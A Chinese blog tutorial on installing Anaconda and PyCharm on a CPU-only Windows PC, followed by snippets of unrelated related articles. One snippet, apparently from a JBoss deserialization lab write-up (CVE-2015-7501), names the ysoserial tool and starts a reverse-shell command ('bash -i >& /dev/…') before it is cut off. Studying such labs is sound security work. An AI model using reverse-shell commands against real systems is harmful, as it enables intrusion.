新手上路:在Windows CPU上安装Anaconda和PyCharm

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 一. 确认自己是CPU
    • 为什么选择CPU教程?
    • GPU与CPU的区别
      • 如何判断自己是CPU
  • 二. Anaconda 安装包 和 Pycharm 安装包
    • 步骤1:下载Anaconda
    • 步骤2:下载PyCharm
    • 在这里插入图片描述
  • 三、安装anaconda
  • 四、配置环境变量(很重要,不能跳过哦)
  • 五、安装Pycharm
  • 结语


下一篇,我会分享在此基础上,配置anaconda虚拟环境。针对虚拟环境中添加pytorch和dgl。

这花费了我一些时间。但我成功找到了解决方法。


一. 确认自己是CPU

在开始之前,确保你的计算机使用的是CPU而非GPU。
当然,以下是针对第一点“确认自己是CPU”的修改部分:

为什么选择CPU教程?

在众多的编程和数据分析教程中,很多都专注于GPU加速,这对于需要进行大量计算的高级用户来说非常有用。然而,对于大多数使用轻薄本或日常办公电脑的用户来说,CPU才是他们的主要计算资源。因此,本教程专注于为使用CPU的用户提供指导。

GPU与CPU的区别

  • GPU(图形处理单元):专为并行处理设计,能够同时处理多个任务,非常适合图形渲染和复杂计算,如深度学习。

  • CPU(中央处理单元):是计算机的主要处理器,负责执行程序指令、处理数据和控制其他硬件设备。CPU通常用于日常计算任务和不需要大量并行处理的应用。

简而言之,GPU比CPU处理速度快。

如何判断自己是CPU

要确定你的计算机使用的是CPU,你可以:

  • 计算机右击–>管理–>设备管理器–>显示适配器
    在这里插入图片描述这是GPU,恭喜你,你可以去看其他文章啦

如果你这里没有NVIDIA(英伟达)显卡,那么,所谓CUDA与你无缘了。我们只能用CPU做一些简单的实验。(太大的实验建议还是租服务器吧)

好,确定自己只能用CPU之后,我们依然需要安装虚拟环境。虚拟环境的使用可以帮助我们隔离出一个干净的环境来运行代码,防止包之间起冲突。下面来一步一步安装。


二. Anaconda 安装包 和 Pycharm 安装包

步骤1:下载Anaconda

  1. 访问 Anaconda官方网站。
    在这里插入图片描述

  2. 选择适合Windows的版本进行下载。
    在这里插入图片描述

步骤2:下载PyCharm

  1. 访问Pycharm 官方网站(下载还是很快的)

  2. 选择“Community”(免费版)(Professional是专业版,需购买)。
    在这里插入图片描述

↑这里是专业版,再往下滑↓

在这里插入图片描述

三、安装anaconda

四、配置环境变量(很重要,不能跳过哦)

五、安装Pycharm


这三步,有一位博主写的非常详细认真。我也是在这位博主的博客帮助下成功安装。故不再重复造车轮。

下面附上地址:请跳转

这篇博客中,软件安装在了C盘,但我装在了D盘。

经验证,大家可以放心的把anaconda和pycharm装在D盘,这并不会影响安装成功。

结语

现在,你已经成功在Windows CPU上安装了Anaconda和PyCharm。你可以开始你的Python编程之旅了!


希望这篇博客对你有所帮助!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/147348.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

摆脱困境并在iPhone手机上取回删除照片的所有解决方案

您是否无意中从 iPhone 中删除了照片?您,无需惊慌,因为您可以使用以下方法恢复所有照片。 如果您长时间使用 iPhone,您应该知道 iOS 提供了许多 Android 不提供的备份功能。例如,您的所有照片都会自动备份到 iCloud 存…

5分钟内理解 .prototype 链 | 2024

在JavaScript的世界里,原型(prototype)系统是一个常被讨论但不易掌握的概念。作为JavaScript继承模型的基石,理解原型对于构建大型应用或进行对象操作至关重要。让我们一起探索这个迷人的话题,揭开原型系统的神秘面纱。 什么是原型? 在JavaScript中,每个对象都有一个内部属性[…

常见中间件漏洞(Jboss)靶场

1.CVE-2015-7501 开启环境查看端口 http://192.168.10.194:8080/ invoker/JMXInvokerServlet 说明接⼝开放,此接⼝存在反序列化漏洞 下载 ysoserial ⼯具进⾏漏洞利⽤ https://github.com/frohoff/ysoserial 将反弹shell进⾏base64编码 bash -i >& /dev/…

C++ Qt 之 QPushButton 好看的样式效果实践

文章目录 1.前序2.效果演示3.代码如下 1.前序 启发于 edge 更新 web 页面,觉得人家做的体验挺好 决定在Qt实现,方便以后使用 2.效果演示 特性介绍: 默认蓝色鼠标移入 渐变色,鼠标变为小手鼠标移出 恢复蓝色,鼠标恢…

【学习笔记】 AD24中元器件重叠系统不报错的解决方案(消除报错)

【学习笔记】 AD24中PCB设计元器件重叠后系统不报错的解决方案(如何主动屏蔽报错) 一、Component Clearance未开启使能的解决方案二、最小水平间距设置错误的解决方案三、未开启设计规则检查的解决方案四、设计规则检查中 “在线”和“批量”的含义五、为…

前端——JavaScript练习 做一个todoList

用前端制作一个todoList的表格,实现更新、删除、修改等功能。 涉及几个知识点: 设置最小高度(宽度): .container{min-width: 350px;/* 最小宽度 最小不会小于210px */ } 去掉外轮廓 outline: none; 去除字…

寄存器与内存

第三课:寄存器与内存、中央处理器(CPU)、指令和程序及高级 CPU 设计-CSDN博客 锁存器 引入 ABO0(开始状态)001(将A置1)110(将A置0)11 无论怎么做,都没法从1变…

深度学习(一):神经网络入门

文章目录 一、神经网络1.1神经元结构1.2单层神经网络:单层感知机1.3两层神经网络:多层感知机1.4多层神经网络 二、全连接神经网络2.1基本结构2.2激活函数、前向传播、反向传播、损失函数2.2.1激活函数的意义2.2.2前向传播2.2.3损失函数、反向传播2.2.4梯…

uniapp小程序持续获取用户位置信息,后台位置获取

做一个小程序持续获取用户位置信息的功能,即使小程序切换到后台也能继续获取,getLocation这个api只有小程序在前台才能获取位置,所以不用这个 先申请一个腾讯地图key 在uniapp项目配置源码视图里加上这个代码 先获取权限,再开启…

NtripShare测量机器人自动化监测系统测站更换仪器后重新设站

NtripShare测量机器人自动化监测系统投入商业运营已经很久了,在MosBox与自动优化网平差技术的加持下,精度并不让人担心,最近基于客户需求处理了两个比较大的问题。 1、增加对反射片和免棱镜的支持。 2、进一步优化测站更换仪器或重新整平后重…

批量归一化与层归一化的区别

batch-normalization是根据每一列的特征进行批量归一化,把一个batch(N张图片)中同一通道的特征(w*h的特征图),将其标准化。可以理解为对batch中的所有图的每一层像素(也就是不同的通道)进行标准化。通常在图像领域用的多&#xff…

【报告阅读】chatgpt-o1 技术报告阅读 | 新的迭代开始了~

OpenAI o1是通过强化学习去进行复杂推理,在它回答之前,他会经过复杂的内部思维链的思考。 经过强化训练的o1多强 1 表现 在美国数学奥林匹克预选赛中名列前500名的学生中,o1排89名 在物理、生物、化学问题的基准测试中超过人类博士水平 其…

(done) 声音信号处理基础知识(6) (How to Extract Audio Features)

参考:https://www.youtube.com/watch?v8A-W1xk7qs8&t2s 先复习之前分类的声学特征 时域特征流水线 如下是 441Khz 下一个采样点播放的时间。这比人类耳朵分辨率(10ms)还低。 所以,把多个采样点组合成一个 frame 的原因有,这是一个人…

布草洗涤必备4张表-———未来之窗行业应用跨平台架构

一、洗涤厂客户月度报表 二、大酒店楼层布草月度统计报表 三、职员月度报表 四、司机当日统计报表 五、阿雪技术观 拥抱开源与共享,见证科技进步奇迹,畅享人类幸福时光! 让我们积极投身于技术共享的浪潮中,不仅仅是作为受益者&a…

Docker实践——天池篇

参考零基础入门Docker-cuda练习场_学习赛_天池大赛-阿里云天池的赛制 (aliyun.com) ​ 在Docker零基础入门-CSDN博客中我已经安装了docker,现在开始创建自己的镜像仓库。 1. 开通阿里云容器镜像服务(镜像仓库) 进入容器镜像服务 (aliyun.com) 1.1. 创建个人实例 点击“…

Elasticsearch导出导入数据

1.概念回顾 2.基础操作 展示详细信息 GET:http://127.0.0.1:9200/_cat/indices?v Java代码将文件导入到ES package com.Graph.medicalgraph;import org.apache.http.HttpHost; import org.elasticsearch.action.bulk.BulkRequest; import org.elasticsearch.act…

17_Python的生成器

生成器(Generator) 生成器(Generator)是Python中一种特殊的迭代器,它允许你在需要时才计算和产生值,而不是一次性生成整个序列。生成器使用yield语句来逐个产生值,而不是像迭代器那样实现__ite…

全球贸易中的关键标识符:DUNS、GLN及其他ID在EDI中的应用

在电子数据交换(EDI)中,识别交易伙伴的唯一标识符对于确保数据准确传输和处理至关重要。不同的企业标识符在EDI的不同场景中发挥着重要作用,其中最常见的包括DUNS(数据通用编号系统)、GLN(全球位…

【Java笔记】第12章:常用类

1. Object类2. 包装类3. String类 上期回顾:【Java笔记】第11章:内部类 个人主页:C_GUIQU 归属专栏:【Java学习】 1. Object类 Object:位于java.lang包中,是所有类的父类(直接父类/间接父类)。…

移动硬盘‘需格式化‘困境:原因剖析、恢复策略与预防之道

困境直击:移动硬盘为何需格式化才能访问? 在数字化时代,移动硬盘作为数据存储与传输的重要工具,其稳定性与可靠性直接关系到用户数据的安全。然而,不少用户在使用过程中遭遇了“移动硬盘需要格式化才能打开”的尴尬境…